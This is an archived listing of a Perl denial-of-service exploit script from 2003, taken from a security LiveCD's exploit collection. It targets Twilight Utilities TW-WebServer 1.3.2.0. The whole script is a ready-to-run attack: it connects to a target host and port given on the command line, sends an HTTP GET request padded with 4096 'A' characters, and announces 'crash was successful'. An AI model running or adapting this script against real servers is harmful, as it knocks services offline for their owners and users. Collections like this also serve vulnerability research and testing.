home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / twilight / sp-urfuqed.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  59 lines

  1. #!/usr/bin/perl
  2. #
  3. # Twilight Utilities TW-WebServer/1,3,2,0 
  4. #
  5. # Vulnerable systems:
  6. # TW-WebServer/1, 3, 2, 0
  7. # Written by badpack3t <badpack3t@security-protocols.com>
  8. # For SP Research Labs
  9. # 04/15/2003
  10. # www.security-protocols.com
  11. # usage: 
  12. # perl sp-urfuqed.pl <target> <port>
  13. #
  14. # big ups 2: acidjazz, #havoc, regulate, cr0wn, mp, lopt, 
  15. # aitek5, rab, #darknet, dvdman, bind, and whoever the f else.
  16.  
  17. use IO::Socket;
  18. use strict;
  19.  
  20. print ".:."x 20; print "\nTW-WebServer/1, 3, 2, 0 DoS, <badpack3t\@security-protocols.com>\n";
  21. print ".:."x 20; print "\n\n";
  22.  
  23. if(!defined($ARGV[0] && $ARGV[1]))
  24. {
  25.    &usage;
  26. }
  27.  
  28. my $host     = $ARGV[0];
  29. my $def      = "A";
  30. my $num         = "4096";
  31. my $port     = $ARGV[1];
  32. my $urfuqed  = $def x $num;
  33.  
  34. my $tcpval   = getprotobyname('tcp');
  35. my $serverIP = inet_aton($host);
  36. my $serverAddr = sockaddr_in($ARGV[1], $serverIP);
  37. my $protocol_name = "tcp";
  38.  
  39. my $iaddr    = inet_aton($host)        || die ("host was not found: $host");
  40. my $paddr    = sockaddr_in($port, $iaddr)  || die ("you did something wrong stupid... exiting...");
  41. my $proto    = getprotobyname('tcp')       || die ("cannot get protocol");
  42. socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die ("socket could not open: $host");
  43. connect(SOCK, $paddr)                || die ("cannot connect to: $host");
  44.  
  45. my $submit   = "GET $urfuqed HTTP/1.0\r\n\r\n";   
  46. send(SOCK,$submit,0);
  47. close(SOCK);
  48.  
  49. sub usage {die("\n\nUsage: perl $0 <target_host> <port>\n\n");}
  50.  
  51. print "\n.:.:.:.:.:.:.:.:.:.:.:.";
  52. print "\ncrash was successful ~!\n";
  53. print "\.:.:.:.:.:.:.:.:.:.:.:.\n";
  54.  
  55.  
  56.